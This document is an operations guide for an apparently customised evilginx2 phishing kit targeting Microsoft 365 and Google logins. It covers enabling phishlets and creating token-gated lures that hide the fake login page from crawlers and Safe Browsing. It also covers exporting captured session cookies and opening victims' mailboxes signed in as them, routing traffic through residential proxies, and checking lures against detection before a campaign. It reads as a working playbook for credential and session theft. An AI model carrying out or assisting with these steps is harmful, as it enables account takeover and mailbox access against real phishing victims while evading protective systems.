Operations guide
Everything a operator does day-to-day happens through tools/egconsole.py — a REPL
that speaks the node’s mTLS API. Config lives in tools/my-servers.json (node list:
host, API port, stealth base path, client cert paths) and tools/console.json.
cd tools && python egconsole.py
# multi-node deployments: pick the node first
eg> use vps-node-1
Phishlets
phishlets list phishlets + enabled/disabled status
enable <phishlet> hot-enable (no service restart, certs handled by hot-reload)
disable <phishlet> hot-disable
reload re-scan phishlet files from disk
hostname <phishlet> <host> change the phishlet base hostname
Switching between phishlets (ms365 ⇄ google)
Both phishlets can share one base domain because their phish_sub values differ
(accounts/login vs signin/gwww). Never let two enabled phishlets share the same
phish_sub — the host→phishlet map is a Go map and collisions cause random
cross-redirects between flows.
Verified procedure — switching has zero impact on the other phishlet:
eg> disable google # response: 200 {'result': 'disable google ok'}
eg> ... run the ms365 campaign ...
eg> enable google # back on, no restart, certs intact
You do not need to disable anything to use one phishlet — simply send the lure URL of the one you want. Disabling is for exposure hygiene (e.g. park Google while hunting MS365).
Lures
A lure is a campaign entry point: a path on the phishlet host plus a redirect target.
API-created lures get an automatic token (?t=) — requests without the correct token
are 302-redirected to a benign URL, so crawlers / Safe Browsing / link previews never see
the login page.
lures list all lures (id, phishlet, path, redirect)
lure_create <pl> [redirect] new lure for phishlet (token auto-generated)
lureurl <pl> <id> [k=v ...] build the campaign URL (adds AES params: rid, email…)
lure_edit <id> k=v change fields (redirect_url, relay, token, …)
lure_del <id> delete
Notes:
lureurlprints the URL without the?t=token — read the token from the node config or via the API and append it yourself; treat it as a campaign secret.- Relay lures (Google) are created with
relay: true; the relay page is then served at the lure path (nice URL bar) while/__relay/*carries its XHR traffic.
Sessions
sessions list captured sessions (MITM + relay captures auto-imported)
session <id> detail: captured tokens/cookies per domain
session_del <id> delete a session
export <id> [file] export session (cookies + meta) to JSON
Every capture also hits the credential webhook if configured (-webhook), delivering JSON
with password_sha256 and the gophish rid for campaign tracking.
Reusing a captured session (mailbox reuse)
The point of the capture is a living session. Two proven ways:
- On the node —
deploy/export_session_cookies.pypulls cookies from the SQLite store;tools/lib/session_launcher.pyopens a browser signed-in as the victim (gotcha:__Host-cookies need URL-based injection, not Playwright’s url+path; headless Chromium tologin.live.commay need--disable-http2). - On the operator workstation — for Google relay captures,
tools/relay/open_gmail_session.pyloads the relay capture JSON into the local Chrome (playwrightchannel=”chrome”) and opens Gmail signed-in.
Upstream proxy
proxy show current proxy + routes
proxy set <type> <host> <port> <user> <pass> <routes>
proxy route add|del <suffix> per-domain egress rules
proxy on | proxy off
routes is a comma-separated list of domain suffixes that must egress through the proxy
(e.g. google.com,gstatic.com,googleusercontent.com); everything else goes direct. This
is how the Google phishlet exits from a residential IP while ms365 stays direct. See
proxy for the full feature.
Google relay operations
tail [n] tail the evilginx service log (ANSI-stripped)
puppet <url> <user> <passfile> drive evilpuppet against a capture
Relay-specific ops (capture inspection, session replay, self-testing) are documented in google-relay. The golden rule: self-test renders only — never submit fake credentials through the relay against Google; dozens of submissions burn the residential exit’s reputation (“This browser or app may not be secure”) for 30–60 min.
Pre-campaign detection check
Automates DNS resolution, TLS cert, botguard decoy, and the trusted-loopback render; prints instructions for the manual Safe Browsing check.
Pre-campaign detection check
SSH_KEY=your-key ./tools/detect_check.sh lure-host /path token user@node
Automates DNS, TLS cert, botguard decoy, and trusted-loopback render; prints instructions for the manual Safe Browsing check.
Changing source code (deploy flow)
Edit src/ (or tools/relay/) locally, then one command syncs, builds on the
node, restarts both services and heartbeats the API:
SSH_ID=/path/to/key ./deploy/sync-node.sh [user@host]
Verify lures/sessions via egconsole or MCP before handing anything to users.
Service checks on the node
systemctl status evilginx2 # proxy + API (:443, :9443)
systemctl status bgrelay # relay sidecar (:9445) — google phishlet
journalctl -u evilginx2 -o cat | tail # strip ANSI for readable logs
pgrep -c chromium # zombie browser check (relay sessions)
ls ~/bgrelay-store/ # relay captures (email+password+cookies JSON)